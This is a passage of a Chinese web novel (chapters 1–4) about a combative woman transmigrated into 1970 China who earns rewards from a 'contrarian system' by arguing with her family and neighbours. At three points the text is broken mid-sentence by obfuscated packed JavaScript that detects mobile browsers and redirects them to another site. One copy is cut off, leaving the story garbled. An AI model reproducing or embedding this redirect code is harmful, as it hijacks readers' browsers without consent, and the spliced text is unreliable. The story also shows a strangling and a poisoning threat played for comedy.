《七零穿书文艺杠精》 1. 第1章天灵灵地灵灵我就是杠精 你知道让一个杠铃忍住不杠有多难吗?宋知南知道。 你知道当一个杠铃得到一个杠精系统后会发生什么吗?此时的宋知南也想知道。 宋知南躺在只有一米宽的木板床上,一翻身床板嘎嘎作响,此时的她双目微闭,陷入了浅浅的思索中。 经常穿越的人都知道,她穿越了。穿到1970年,跟着她一起来的还有一个杠精系统。 想到系统,宋知南微微叹了一口气,组织这是不让我退休呀。她整治了三个老板后,辞职做自媒体博主,因为口无遮拦,净说些大实话,一不小心火了。 人红是非多,再加上她说了一些母道话,很多公网友破防了。那帮人组团来攻击她,她熬夜跟人对线,因为战况太激烈,气病了几个患有高血压和心脏病的中老年男人,险些闹出人命,事情闹大,她被帽子姐姐温和耐心地教育了一番:“网络不是法外之地,你以后说话要注意。” 宋知南心里委屈,明明是他们先网暴我的,有病你就直说啊,她一定会让他们先吃药。爷爷跟她说话前,她都会提醒老人家先吃一粒速效救心丸。 癞、□□攻击人类,还不让人还嘴,世界真是索然无味。宋知南决定不杠了,她的人延迟退休,但嘴可以早退。 宋知南说退就退,就连她爸说“专家说早上不能空腹吃喝,更不能吃垃圾食品”,她都能忍住不杠。 她甚至破天荒地附和道:“爸你说得对,专家也说得对,你们男人的嘴就像那恒河的水。——那这个汉堡和煎蛋都归我了,你不能空腹吃早餐。” 宋爸小小的眼睛里充满了大大的疑惑,总觉得哪里不对,但又说不出来不对的地方。 吃完早饭,宋知南打开奶奶留给她的屠龙之书:《湖南老爷爷选集》。 国内发展不顺,某类人全身都是雷点,一踩就炸,开不起玩笑,限制又太多,教人活泼不起来。 她打算出海,先去非洲看看。听说那里可以大展手脚,某个前辈竟然可以一边上班一边给某部落当军师,且屡战屡胜。宋知南觉得她上她也行,她可是读过《孙子兵法》的女人。去之前再武装武装思想,说不定能混个酋长当当。 宋知南没想到她刚武装了一部分了思想,就来到了这里。 她穿到了一本名叫《绿茶美人在七零的幸福生活》的书里,她是十八线女配,是女主的对照组之一。 女主是团宠又茶又萌,被全家宠上天;她是团坑,被全家坑到底。 女主与男主甜蜜恋爱,幸福一生;她初嫁渣男,再嫁鸡贼男,下场凄惨。 宋知南蹙着眉头,努力回忆着书中的剧情,看书一目十行的不良后果出现了,她只记得这文的整体感觉和部分情节,再细一些的东西全不记得。估计遇到剧情触发会想起来一些。 罢了,不记得就不记得,先顾好眼下再说吧。她现在是什么个情况来着? 原身跟她同名也叫宋知南,上有两姐一哥,下有一弟。大姐宋知春,二姐宋知夏,哥哥宋秋实,弟弟宋冬宝。她之所以叫宋知南,是因为父母觉得家里女儿太多了,多子多福指的是儿子,不包括女儿。于是就给她取名宋知难,寓意为知难而退,让女孩别再来宋家投胎了。上户口时,工作人员觉得名字的寓意不好,就改为宋知南。 大姐宋知春已经嫁人了,婆家在城南的郊区。二姐宋知夏也有了对象,且对象家庭条件不错,以后能帮到娘家,加上她性格圆滑,嘴甜会哄人,宋爸宋妈对她虽不宠爱但还算凑和。至于宋秋实,人家是宋家长子,自然倍受重视。宋冬宝更不必说,也是父母的眼珠子心尖子。只有宋知南,夹在中间,从小倍受忽视。而且她性子倔强,遇事喜欢硬刚,更不得全家喜欢。活是她干,气是她受,好处一点没落着。 宋知南:这可不行。人不能惯,越惯越混蛋;人也不能让,越让越嚣张。这宋家早该整治了。 宋知南正想着该从哪里入手整治宋家,就听见咯吱一声,客厅的门被推开了。 她打着哈欠,推开嘎吱作响的房门看看是谁,进来的人是宋爸宋上进。 宋上进四十来岁,一张方方正正的国字脸,两道浓眉几乎连在一起,看着脾气就不好。 宋上进一看到宋知南竟然睡到现在才起,心里的邪火立即窜了上来,张口就骂:“都几点了还在睡觉?懒死你算了。我怎么那么倒霉,生了你这么个废物,连个工作都找不到,让你下乡还闹着不去,就知道作死,有本事你就真死了算了。” 宋知南想都没想,张口还击:“哎哟,你还倒霉?倒霉的是我好吗?我被你们两个废物生出来,吃不好穿不好,受气的总是我。别人的爸爸有本事,一毕业就给安排好工作,你呢?自己没本事不知道反省就知道怪我,好意思吗?我要是你早一头撞死了,活着都觉得丢人。” 她话音刚落,就听见脑海中响起一个欠欠的声音:天灵灵地灵灵我就是杠精,本统恭喜你开启异世第一杠,杠精值加1点,已激活系统,发放新手大礼包100立方静止空间,一次种植空间开启机会。 宋知南心中惊喜,抬杠竟然还能有收益?专业对口还赶上了风口,这谁能挡得住?至于以前说的让嘴退休的事,立即更改政策,必须延迟退休。 宋知南刚高兴了一会儿,对面的宋上进先是怔了一下,便开始发飙,他气得额头青筋暴露,拳头都硬了,想要揍人。 宋知南一看事情不好,扭身进屋,从笸箩里抓起一把剪刀冲出来喊道:“想动手是不是?来来,你出拳头我出剪刀,看谁能赢。谁不让我好活,我就让谁不得好死。” 宋上进愣住了,他盯着宋知南看了半响,用难以置信地语气说道:“你反了天了,敢捅你老子?” 宋知南冷声道:“哪里有压迫哪里就有反抗,我有革命正义护体,不惧一切牛鬼蛇神。你这是封建家长作风,破四旧破的就有你。你再敢嚣张,我去外面贴大字报举报你反、革、命。” 宋上进听到这话吓得脸色一白,他警惕地望望外面,还好现在是上班时间,家属院里没什么人。饶是如此,他也吓得心砰砰直跳,赶紧飞快地关上房门,说话语气都变温和了:“小南啊,你这孩子气性咋这么大呢?爸说你几句,还不都是为了你好。咱可不能学外面那些红小兵。” 宋知南嗤之以鼻:“我想捅你也是为了你好,给你放放血更健康;我举报你也是为了你好,让你思想更进步,跟得上时代的脚步。” 宋上进无言以对。 他真想一巴掌扇死这个不肖女,但他现在不能。 宋上进拿出一副慈父的口吻,语重心长地说:“小南,咱们是一家人,家里要是有个好歹,你也跟着受牵连。” 宋知南盯着宋上进的眼睛说:“我听别人说,我不是你们亲生的,所以你们才对我不好。既然不是亲生的,那我有什么好在乎的?你们进去了,我就跟你们划清界限呗。” 宋上进连声否认:“瞎说八道,你听谁说的?你肯定是我们亲生的,你要不是亲生的,我们养你干啥?自个生的都养不过来去养你一个丫头片子?” “算了,我是回来拿东西的,还得去上班呢。别闹了,来,爸给你一块钱。” 宋上进略有些讨好地摸出一块钱放在桌上,回屋拿了东西就离开了,临走时,他不放心地叮嘱宋知南:“小南,听爸的话,气性别那么大,别胡闹,——你要是困就再睡会儿。” 宋上进关上门离开了。 宋知南把桌上的一块钱收起来装进口袋里,原主一个十五岁的大姑娘,手上连一分零花钱都没有,可哥哥弟弟却有。上次,大姐回娘家给了她1块钱,最后却被弟弟宋冬宝抢走了,她气得跟宋冬宝干了一架,却被爸妈联合起来打骂镇压。 最可气的是,现在的政策规 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565005|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 定,多子女家庭未婚无业的只有一个能留在城里,二姐宋知夏不想下乡,火速谈了一个貌丑但家境不错的对象,偷偷领了证,宋知夏婚事定了自然不用下乡。宋冬宝还在学校混着没有毕业也不用下乡,大哥宋秋实已经高中毕业,但他也不想下乡。名额自然落在了最不受宠的宋知南身上。宋知南当然也不想下乡,她还想上高中,家里坚决不同意。激烈抗争无果,原主郁结于心,生了一场病,宋知南就是这时候穿来的。 现在的宋知南也不愿下乡,几十年后的农村都不适合女孩呆,何况是现在。那是一个赤果果的丛林社会,女性是农村的最底层。她们这些没有亲人在身边的外来女孩更是本地流氓地痞眼中的猎物。她不想去,但总得有人去,那就让宋秋实去吧,男孩子嘛,就得多锻炼锻炼,才能当一个独立男孩。 好像他们家还没有报名,宋知南决定帮大哥一把,自家兄妹能帮的就帮。 她进了父母屋里找户口本,看抽屉里还有些零钱,就顺便拿了几块钱揣兜里,拿自己家的钱能叫偷吗?弟弟拿得,她怎么就拿不得? 说起弟弟,她想起这厮抢自己的钱,于是便进了哥哥和弟弟合住的房间,翻箱倒柜一通找,最后找到了一块多的零钱和二斤粮票,宋知南全部拿走。 宋秋实的书架上的高中课本竟是九成新,她也顺手搬回自己屋。宋知夏也是高中毕业,但她的书毕业之后全卖了,她想看也没有。 宋知南拿着户口本出了门,循着记忆中的地图去街道办事处。 到了街道办事处,不用她问就看到了知青办门口那十分显眼的红色横幅:“广阔天地,大有作为;农村城市一盘棋,人民战士学人民。” 知青办的办公桌搬到了外面,那里正围着一群人。 宋知南挤不进去,在外面大声说:“同志,我要报名下乡。” 她这么一喊,就听见办公室里面有个女同志高声应道:“报名的到屋里来,大家别堵在门口,让人家报名的进来。” 众人闻言缓缓挪出一条小道来,宋知南斜着身子挤进去,房间里有两个工作人员,一男一女,男的是个二十来岁的小伙,女的三十来岁,一头干练的短发。 女同志正在低头摆弄表格,抬头打量了宋知南一眼,问道:“同志,你要报名下乡?” 宋知南掏出户口本:“是的,我替我哥报名,他叫宋秋实,十八岁,今年高中毕业,他满腔热血,一心想到祖国最需要他的地方去奉献青春。” 工作人员不疑有他,现在的热血青年还有不少,有的家长拦都拦不住。 她问了一句:“他本人怎么没来?” 宋知南也不确定是不是可以替别人报名,她稍稍思索了一下,便说道:“我哥本来打算自己来的,半路被同学叫走了,他同学也要下乡,大家以后天南地北的,不知道什么时候才能见面,我哥想趁着还没走多跟同学聚聚,非要让我过来替他报名。同志,这要是不符合规定就算了,等改天让他自己来也行。” 她做出一副不甚在意的模样,让报就报,不让报我就走。 工作人员见她这个态度,反倒是放心了。要是宋知南急吼吼地非要报名,他们反而会起疑心。 宋知南作势要走,短发女同志立即叫住她:“你先别走,替自己的家人报名是没问题的,你过来登记一下。”本来动员人下乡有点麻烦,好容易有人主动来报名,那当然不能放过,虽然说上面的规定是尽量让本人来报名,但人家有事,亲妹妹来帮忙报名也不是不可以通融。 宋知南飞快地填上表格,还特意附注一句想去黑省北大荒奉献青春。那里可是未来的大粮仓,正需要哥哥这样的人去建设。 填完表格,她顺便问道:“同志,咱们这一批知青什么时候出发?” “三天后的早上七点半,到时会通知你们的。” “好的。” 2. 第2章会揍人的女孩真的很加分 宋知南报完名出来,一路溜达闲逛,东瞧瞧西看看。这个时代的城市建设朴实无华,头顶是瓦蓝的天空,四周是灰扑扑的建筑,交通工具主要是自行车,流行色是蓝色灰色和军绿色。路上的行人穿的很朴素,身材都很苗条,头发都很浓密。 宋家所在的地方处在几家厂子的交汇处,前面是国棉厂,宋上进就在国棉厂上班。左边是纺织厂是妈妈李玉华工作的地方。右边是食品厂。医院、学校见缝插针地分布在几家工厂中间。家属区是一个个的方块,有筒子楼,也有平房。道路两边是供销社、商店、菜店、副食店,俨然一个封闭的小社会。 宋知南一边溜达一边思考以后的出路,这个时代就那么几条出路:当兵进厂和下乡。她得想办法弄个工作,国棉厂也行,纺织厂也可以,弄到工作再想办法搬到宿舍住,之后想办法把户口迁出来,到时候就可以脱离宋家了。在这之前,她还得在宋家苟着,不过苟归苟,想让她吃亏受气是不可能的。她的字典里没有这四个字。 宋知南溜达了一会儿饿了,看到路边有家国营饭店,毫不犹豫地走了进去,要了一碗豆浆和两根油条。豆浆有豆子味,油条又脆又香,宋知南吃得一脸满足。 她吃饱喝足抹抹嘴刚要起身离开,就看到二姐宋知夏和一个丑得奇形怪状的男人一起进来。 此男又矮又瘦,脸又扁又平,像乒乓球拍似的,那双眼睛像是用筷子随意戳两个洞似的。 宋知南用同情的目光看着自家二姐,这是做出了多大的牺牲呀。 宋知夏看到宋知南,不由得一脸惊讶,他们家孩子多,生活不容易,父母手紧,很少给她们姐妹零花钱,三妹怎么有钱和粮票下馆子了?难道是爸妈为了补偿她偷偷塞给她钱和票了? 宋知夏正要试探一番,就听她的对象陈安华瓮声瓮气地问道:“知夏,这是你妹妹?” 宋知夏的脸上立即堆满笑容,脆声回答:“是呢,是我三妹知南。知南,这是你……陈哥。”本来应该叫姐夫,不过他们只领了证,还没办酒席,宋知夏总觉得还不够正式。 宋知南微微冲陈安华点点头,算是打了个招呼。 “你们吃饭吧,我回家去了。” 宋知夏还没没开口,陈安华却热情地招呼她:“三妹,你别走,跟我们一起再吃点。” 陈安华见宋知南长得还不错,就生出旁的心思,想把她介绍给自己表弟,毕竟他表弟长得不咋地,名声也不好,家境相当的女孩看不上他,只能往下找,与其便宜别人家,还不如便宜自己的小姨子。陈安华觉得自个儿真是个负责的好姐夫。 宋知夏听陈安华提到过给他表弟介绍对象的事,这会儿见他这般热情,瞬间明白了他的打算。转念一想,陈安华表弟虽然长得丑了点,但家境也不差,三妹要是找了他,说不定就不用下乡了。 宋知夏其实心里头也不想让妹妹下乡,虽然两人总是争执吵嘴,但毕竟是亲姐妹,多少还是有点感情在的。当然,她肯定做不出牺牲自己成全别人这么伟大的事,任何情况下,她都得先顾好自己。 当她知道他们家只有一个孩子能留城时,她敏锐地意识到下乡的要么是她要么是三妹,还有可能是两人一起下乡。反正无论如何,爸妈绝对不舍得让自己的宝贝儿子去乡下吃苦,哪怕大家都说男孩下乡比女孩更方便,至少安全,但爸妈是听不进去的。 为了把自己摘出来,她牺牲了自己的婚姻,火速地找上了陈安华。要按她的标准,她是瞧不上陈安华的。她本来打算等工作以后,再慢慢挑选一门好亲事。因为婚结得太匆忙,他们连酒席也没来得及办,陈家的婚房还没准备好,她只能先住在娘家。 宋知夏默契地配合着陈安华:“是啊知南,你也留下来再吃点,吃完饭,我带你去逛逛。” 宋知南摇头拒绝:“我已经吃过了,再见。”说罢,她转身就走。 这个姐夫不但人丑,心思还不正,没必要多接触。 陈安华没料到宋知南这么干脆,心有不甘地“哎”了两声。 宋知南头也不回地离开了。 陈安华脸上讪讪的,阴阳怪气地说:“看不出来,你妹妹倒挺傲气。” 宋知夏脸上挂着讨好的笑容:“她那不是傲气,是害羞。我妹这人从小性子就闷,也不会说话。” “看出来了。” 宋知南快步离开国营饭店,回家休息片刻,就开始倒腾自己的空间。100立方米,挺宽敞的空间,可惜里面空荡荡的。她得囤点东西在里面。钱是没有的,物资也匮乏,就从家里开始吧。 宋知南先去父母的房间寻宝,有爸爸的人都知道,爸爸一般爱藏私房钱,鞋盒里、墙缝里、书页里都有可能藏钱。就算私房钱被找出来,他们也是有苦难言。 宋知南耐心仔细的一点点翻找,果不其然,她在《资本论》里找到了一张五块的,在《湖南爷爷选集》里找到十块钱,在一本没了封皮的旧书里找到六元。古人说得对,书中自有黄金屋。宋知南对今天的战果很满意,搜刮完宋上进的私房钱,她又开始到厨房寻宝,把米面每样装出一点放在空间里。 宋知南像小仓鼠似的一点点往自己的空间里囤东西,突然听见外面有说话声。 是二姐回来了,还带着别人。 宋知南赶紧把东西恢复原样,拿起扫帚假装扫地。 宋知夏带着陈安华和一个陌生男人进了屋。这个男人也丑,还是跟陈安华不一个风格的丑:又矮又黑又胖,乌漆嘛黑的,看着像只铁墩子。 宋知夏热情地招呼两人:“安华,卫国,你们快进来。——知南,你赶紧给客人倒水去。” 宋知南听到卫国这个名字,心中一个激灵,这个人不是原来的宋知南二嫁的那个鸡贼男刘卫国吗? 宋知南像躲狗屎一样赶紧避开此人,她放下扫把:“我回屋了,你们聊。” 她刚要回屋,那个铁墩子刘卫国却用贱贱的语气说道:“表哥,这就是你说的长得不错的小姨子?看着也就那样吧,皮肤不够白,不太水灵,性子还不好。” 宋知南气笑了,是谁给他的勇气,上她家里当面评判她的外貌? 如果这都能忍,她还是个人吗?她是忍者神龟! 宋知南一个猛回头,把此人上上下下打量一通,用鄙夷的语气说道:“这位同志,评价一个人不能只看她的外表,也得看看自己的外表。你家没有镜子也该有尿吧,你都不照照自己吗?你又矮又胖又黑,说你是矮冬瓜那都是侮辱冬瓜,毕竟冬瓜比你白。长成这样还敢出来吓人,你可真勇敢。” 杠精系统:耶耶,宿主终于又开杠了,杠精值加1。 刘卫国没想到宋知南的嘴这么厉害,他以前也喜欢当面评判女孩子的长相,那些女孩通常是气得脸蛋通红,扭身离开,很少有人敢这样跟他当面对喷。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565006|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 宋知南再接再厉:“你瞧你那眼睛长得跟瞎子拿筷子随便在黑面馒头上乱戳得似的,嘴唇厚得切吧切吧得有两盘子,就你这样的,狗吃你都得就蒜,老鼠吃你都得加醋,因为实在入不了口。” 三人目瞪口呆,集体语塞。 陈安华愣了一会儿,说话都不利落了,“那什么,三妹,你这性子,也太厉害了,以后谁敢娶你。” 宋知南冷笑一声:“哎哟歪,要是男人都像你俩这样又丑又嘴贱,我得跪谢你们的不娶之恩。你们赶紧滚吧,别污染了我们家的空气。” 杠精系统:杠精值加1。 宋知南说着又重新拿起了扫把,那架式是想要动手。 宋知夏一脸严肃地呵斥宋知南:“知南,你今天是怎么了?来的都是贵客,你怎么能这么说话?都怪我们大家把你惯坏了。” 宋知南指着宋知夏掷地有声地说道:“宋知夏,你自私自利只为自己着想我不管,你为了不下乡找丑男下口我也不管,但你不可以把主意打到我头上,不可以拿我来做人情。你要是喜欢丑东西,可以把这俩垃圾都回收了,别来烦我,我不收垃圾!” 系统:杠精值加1。 宋知夏又气又羞,窘得满脸通红。 她冷笑一声:“好好,你真是我的好妹妹。” 陈安华赶紧安慰她,宋知夏眼看着妹妹已经癫了,也不敢在家多停留,便领着两人狼狈离开了。 刘卫国临走前,回过头阴恻恻地对宋知南说了一句:“宋知南是吧,我记住你了,你等着。” 宋知南嗤之以鼻:“刘卫国,阎王爷也记住你了,你等着哦。” 三人悻悻离开,宋知南打开系统面板,系统商城开放了,上面的商品琳琅满目,米面粮油酱醋茶衣服布料化妆品,应有尽有。甚至还有冷热武器、大力丸和化尸粉。 她共有4个杠精值,激活新手大礼包花了一个,还剩三个,大概能买三十斤米面或是两盒化妆品,米面她现在可以吃家里的,化妆品没必要,她现在需要武器和大力丸。领袖说过,要野蛮其身体,文明其精神,她的精神已经够文明,必须得有野蛮的身体与之相匹配。 那些傻叉愿意讲道理,她就用嘴;不用讲道理,她就用拳头跟对方交流。 宋知南挑挑拣拣,先选了两样武器:经过特殊改造的自行车链,可以装在书包里,看起来很常见,打起人来贼疼。另一样是一截钢筋,长度刚刚好,是居家旅行必备防身武器。 两样武器花了一个杠精值,剩下两个杠精值,宋知南买了大力丸,系统面板有药效说明,药效会逐步发挥作用,她的力气会在原来的基础上一点点增长,为了能让药效充分发挥,她需要补充大量营养,肉蛋奶吃得越多越好。 药丸一拿到手,宋知南就毫不犹豫地用温水吞服下去。随后,她奔到厨房开火做饭,肉是没有的,只有五个鸡蛋,宋知南给自己摊了个葱花鸡蛋,夹在馒头里面,干了三个馒头。 吃饱喝足,有点犯困,宋知南插上门,倒头便睡。一觉醒来,天都快黑了。 她的房门被拍得震天响,“宋知南,你给我出来,你有本事干坏事,没本事出来是吧?” 拍门的是她那个混蛋弟弟宋冬宝。 宋知南慢慢地起床,咔嚓咔嚓活动几下手指,吃完大力丸后,她觉得自己强得可怕,正好找个人练练手。这个宋冬宝来得正是时候。 3. 第3章杠精值爆发 宋知南缓缓拉开房门,满脸怒容的宋冬宝单手叉腰站在门前,他大概十三四岁,长得又高又壮。他正值变声期,说话像公鸭一样难听。 宋冬宝瞪着眼兴师问罪:“宋知南,你说,我的钱是不是你偷的?” 宋知南淡然答道:“姐姐拿弟弟的钱怎么能叫偷呢?要照你这么说,你抢我的钱是不是得叫抢劫呀?” 宋冬宝气结,但还是嘴硬地反击道:“那不一样。你不告而取就是偷。” 宋知南废话不多说,抬起手,照着宋冬宝的左脸就是一个大耳光。 宋冬宝被打懵了,捂着脸,愣愣地说道:“你打我?你竟然敢打我?” 宋知南再次抬手,动作潇洒流畅,照着右脸啪地又是一个大比兜,她这人有轻微强迫症,打人也得左右对称。 宋知南笑得很嚣张:“对啊,就是打你呀。” 两个耳光终于让宋冬宝认请了现实,他嗷地一声叫着冲进来要跟宋知南拼命。 宋知南抬腿给了他一脚,这一脚力气很大,宋冬宝被踹得蹬蹬后退几步,疼得龇牙咧嘴的。 宋知南抢步上前,一把拽起宋冬宝的衣领,狠狠地掼在地上,抬起右脚像踢足球似的,砰砰连踢十几脚。 宋冬宝疼得在地上直打滚。 宋知南顺手找到一根麻绳,左三圈右三圈把宋东宝捆得像粽子似的。 捆完还不过瘾,举起拳头噼里啪啦又是一通揍。 宋知南一边揍一边问:“以后还敢抢我的东西吗?” “呜呜,你给我等着——” “以后还敢不尊重我吗?” “我呸——” 宋冬宝起初嘴很硬,态度很嚣张,但宋知南最不怕的就是嘴硬的,多打打总会服软的,这事她有经验。 宋知南打累了,活动活动手指,直接上手掐住宋冬宝的脖子,跟他玩窒息游戏。 宋知南越掐越紧,宋冬宝目露惊恐,他的呼吸越来越艰难,险些窒息。 他瞪着宋知南,姐姐是不是疯了? 宋知南双手掐着宋冬宝的脖子,嘴里喃喃自语:“既然在家也是吃苦受气,还不如弄死几个我讨厌的人去坐牢算了。也不对,我的年龄还不够坐牢呢,而且你是我亲弟弟,杀了也白杀,再说,谁能证明人是我杀的?” 她的眼里有一种平静的疯狂,甚至还面带微笑。宋冬宝看着她这魔鬼般的微笑,心头涌上一丝前所未有的恐惧和慌乱。 他用祈求的眼神看着宋知南,断断续续地叫道:“姐、姐。” 宋知南面带笑容地问道:“冬宝,你知道错了吗?” 宋冬宝面色红胀,艰难地吐出三个字:“我、错、了。” “好,非常好。” 宋知南猛地松开手,宋冬宝大口大口地呼吸着空气,用力干咳了几声。突然嚎啕大哭起来:“三姐,我是你亲弟弟啊。咱们虽然打打闹闹,可你不能真杀了我啊。姐,我错了我错了,我以后再也不敢跟你作对了。” 宋知南温和地说道:“俗话说,男儿有泪不轻弹。你哭哭啼啼像个什么样子。” 宋冬宝哭得更厉害了,越哭越委屈,他都要没命了,还不让人哭,敢情快被掐死的人不是他,这句话是哪个老王八犊子发明的? 宋冬宝丝滑地继续认错:“姐,我以后再也不敢胡闹了,再不抢你钱了。你饶了我吧。” “真心认错?” “绝对真心。” 宋知南笑得很温和,宋冬宝却觉得有点渗人,她慢慢说道:“我是个大度的人,更是个好姐姐,行了,我饶了你。” 说到这里,她突然语气严肃地吩咐道:“把你身上所有的钱和票都给我。” “啊?——哦好,都给你。” 宋知南拽过宋冬宝的帆布书包,把里面的钱和粮票全部拿走。 “以后家务都是你做。” 宋冬宝摇头:“我、我不会。” 宋知南淡声说道:“不会就学呗,我难道生下来就会做?再说了,我以前会打人吗?你看我不都学会了?” 宋冬宝心中一悸,飞快地答应:“好的,我学我学。” 宋冬宝心中纠结着一会儿爸妈大哥回来了,他该怎么告状。 就听见宋知南问道:“一会儿爸妈回来了,你知道该怎么说吗?” 宋冬宝吓了一跳,赶紧回答:“我知道,我知道。” 宋知南仿佛看穿了他的心思,语气平和地说:“你心里是不是想着等爸妈回来就偷偷告状?实话告诉你,我连爸妈都不怕,你告了状也没用,我私底下有的是时间对付你。要是爸妈大哥打我,我也已经下定了决心,既然我怎样妥协都过不上好日子,那索性咱们大家一起完蛋。我先弄死你,再用耗子药药死全家,咱们一家人齐齐整整的上路多好。” 宋冬宝吓得背后发凉,他这个三姐到底是怎么了?为什么突然变得这么疯狂可怕。要是以前三姐这么说,他肯定不信。但是现在,他好像真不敢赌,在她掐住自己脖子的那一刻,他第一次感受到了死亡的气息。 宋知南算着时间,爸妈快下班了。 她把宋冬宝身上的麻绳解开,温和亲切地说:“冬宝,你去把晚饭做了。” 宋冬宝刚要下意识地说不会,随即想到她的拳头,连忙把话咽了回去,不会就学。 宋冬宝乖乖地到厨房去做饭,宋家的厨房是在屋外搭的棚子,相当简陋。院子里的其他邻居也是这么搭建的。此时正值晚饭时分,下班的外出的陆陆续续都回来了,家属院里特别热闹。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14565007|155616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邻居们看到宋冬宝在做晚饭,自然是一脸稀奇。 其中东屋的赵大娘发现了宋冬宝脸上的异样,就关切地问:“冬宝,你的脸怎么了?你又跟人打架了?” 宋冬宝恐惧地看了屋里一眼,急忙说:“没啥没啥,不小心撞到树了。” 赵大娘意味深长地哦了一声。 西屋的王大爷问:“冬宝,今天太阳打西边出来了,你咋做起饭了?” 宋冬宝笑得比哭还难看:“我、我喜欢做饭,想做个试试。” 王大爷不赞同地啧了两声:“男子汉大丈夫,喜欢啥不好,喜欢做饭,多没出息呀。” 正好宋知南出来监工,王大爷就对宋知南说:“知南,你咋能让冬宝做饭呢?” 宋知南十分瞧不上王大爷这种大男子主义的行为,脑袋一昂,大声反问:“怎么?你们男人不吃饭?你们吃得比谁都多,做个饭咋地了?” 王大爷:“……” 他没想到自己只是随口一问,宋知南就这么呛人。 其他人看两人呛呛起来了,也都笑嘻嘻地凑过来看热闹。 王大爷被晚辈呛了,觉得面子上很过不去,立即拿起长辈的款来,语重心长地说道:“知南啊,不是我说你,女孩子家家的,说话要温柔和气,我是为了你好。你让你弟做饭本来就不对,俗话说得好,男做女活越做越穷。” 邻居中有人点头称是,确实是这么个理儿。 宋知南可不会惯着任何人,她飞快地反问:“男做女活越做越穷?王大爷,你一辈子没做过女活,为啥还一直穷呢?你爷爷,你爷爷的爷爷也没做过女活,为啥你家上数十八代都穷呢?” 王大爷一时接不上话来。 众人面面相觑,谁也接不上话来。 杠精系统:杠精值加1。 大家愣了一会儿,开始慢慢反应过来,围着宋知南七嘴八舌地说教起来。 “小南,你咋说话这么冲呢?你这态度不行啊。” 大伙说一句,宋知南杠一句。 “怎么?说不过我就说我态度不行,你这人心眼太小了,小心活不长。” “小南,你这么对长辈说话不对。” 宋知南:“你们有长辈的样子吗?爱管闲事,脑子还不清醒,不知从哪儿扒拉来一句过时无用的话就敢往外说,这几十年都活到哪里去了?活到狗身上了?你们扪心自问,都不觉得惭愧吗?一把年纪了一点事不懂,咋好意思教训年轻人的?” 杠精系统不停地播报:杠精值加1,杠精值加1,加1…… 宋知南一人舌战众人,心态平和,愈战愈勇,完全处于上风。大家越说越群情激动,有的脸红脖子粗,有的心脏砰砰乱跳,就在这时,有人喊道:“老宋两口子回来了。” 4. 第4章杠翻全家 宋上进和李玉华正跟一帮邻居说说笑笑地往家走,一进院就被大家伙围住告状:“上进,你赶紧管管你家老四吧。这孩子不知怎么了,大家说啥她杠啥,就跟吃了枪药似的,这样的女孩子以后可咋办哟。” 王大爷出声附和:“是啊是啊,她在家却非让冬宝进厨房做饭,我就说了两句,她就不爱听了。还说什么我家祖宗十八代都穷。” …… 宋上进一听三女儿又作妖了,不禁心头一梗。 李玉华想都没想,张口就骂:“知南,你个死妮子给我滚出来,老娘天天在外辛苦工作,就养出你这么个招灾惹事的废物!” 宋知南站在门口大声回道:“哟,你在外辛苦工作都能赖到我头上?你不生我就不辛苦工作了?你不生我就能当衣来伸手饭来伸手的地主婆了?你养的孩子只有我一个吗?你那废物大儿混蛋小儿子你咋不说?他们吃得比我多,花得比我多,你咋不骂?你偏心都偏到咯吱窝了,也不好好反省反省。” 杠精系统:杠精值加1。 李玉华没想到三女儿突然变得这么伶牙俐齿,以前她也会顶嘴,但没像今天顶得这么顺畅,顿时气不打一处来。 李玉华气得胸口疼,撸起袖子就往里头冲:“我今天不撕烂你的嘴我就不姓李。” 跟李玉华一起回来的邻居魏芬一把拉住李玉华,好声劝道:“嫂子,你别冲动,知南这么大姑娘了可不能再像小时候那样随便打了。” 魏芬性格老实为人厚道,跟宋家关系不错,以前宋家老大宋知春在娘家时跟她玩得很好,平常魏芬也时不时地会替宋知南说几句好话。 李玉华被人劝住,气稍稍消了些,但终究觉得面子过不去,指着宋知南威胁道:“你给我等着,回家我再跟你算帐。” 其他邻居还在一旁煽风点火,魏芬劝道:“大家都少说两句,别再火上浇油了,赶紧都回家做饭吧。”这些人都是看热闹不嫌事大。 有了魏芬带头,另外几个好心的邻居也帮着一起劝,把宋上进和李玉华硬推进屋里,“都累了一天了,赶紧回家歇着吧,想开点,谁家的孩子不顶嘴。” 宋上进因为上午的那一次冲突,心里头发憷,倒是没敢当面打骂宋知南,便借坡下驴地进了屋。 他怕宋知南当众说出不该说的话来,赶紧把人推进屋里,关上房门,一家人有啥话得关上门说。 随后,宋知夏和宋秋实也从外面回来了。宋冬宝趁机跑出厨房,缩在爸爸和哥哥中间,怯怯地看着宋知南。 宋上进李玉华宋秋实他们坐在一边,宋知南自己坐在另一边,屋里气氛沉闷压抑,颇有些三堂会审的架势。 